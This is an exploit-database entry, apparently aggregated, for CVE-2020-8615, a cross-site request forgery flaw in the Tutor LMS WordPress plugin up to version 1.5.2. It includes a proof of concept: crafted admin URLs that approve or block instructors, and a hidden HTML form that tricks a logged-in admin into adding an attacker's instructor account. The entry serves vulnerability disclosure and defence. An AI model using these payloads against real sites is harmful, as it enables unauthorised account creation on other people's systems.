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Wordpress Tutor LMS 1.5.3 Plugin - Cross-Site Request Forgery (Add User) Vulnerability
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | WordPress Tutor LMS Cross-Site Request Forgery Vulnerability | 11 Feb 202000:00 | – | cnvd |
 | WordPress Tutor LMS Plugin Cross Site Request Forgery (CVE-2020-8615) | 26 Mar 202000:00 | – | checkpoint_advisories |
 | CVE-2020-8615 | 4 Feb 202019:01 | – | cve |
 | CVE-2020-8615 | 4 Feb 202019:01 | – | cvelist |
 | WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) | 2 Mar 202000:00 | – | exploitdb |
 | EUVD-2020-29463 | 7 Oct 202500:30 | – | euvd |
 | Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) | 2 Mar 202000:00 | – | exploitpack |
 | Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery | 10 Jun 202605:11 | – | nuclei |
 | CVE-2020-8615 | 4 Feb 202020:15 | – | nvd |
 | CVE-2020-8615 | 4 Feb 202020:15 | – | osv |
10
# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)
# Vendor Homepage: https://www.themeum.com/product/tutor-lms/
# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers
# Exploit Author: Jinson Varghese Behanan
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 1.5.2 and below
# CVE : CVE-2020-8615
# 1. Description
# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses.
# An attacker can use CSRF to register themselves as an instructor or block other legit instructors.
# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings
# page, the attacker will be able to create courses directly as well. All WordPress websites
# using Tutor LMS version 1.5.2 and below are affected.
# 2. Proof of Concept
# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF
# attack to approve an attacker-controlled instructor account can be performed by having the admin
# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly,
# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked
# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.
# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor
# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval.
# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is
# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can
# be tricked into visiting the link and triggering the request to add an instructor.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://TARGET/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="add_new_instructor" />
<input type="hidden" name="first_name" value="John" />
<input type="hidden" name="last_name" value="Doe" />
<input type="hidden" name="user_login" value="jd_instructor" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="phone_number" value="1231231231" />
<input type="hidden" name="password" value="Pa$$w0rd!" />
<input type="hidden" name="password_confirmation" value="Pa$$w0rd!" />
<input type="hidden" name="tutor_profile_bio" value="Et tempore culpa n" />
<input type="hidden" name="action" value="tutor_add_instructor" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3. Timeline
Vulnerability reported to the Tutor LMS team – January 30, 2020.
Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.
# 0day.today [2020-03-04] #Data
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02 Mar 2020 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.0867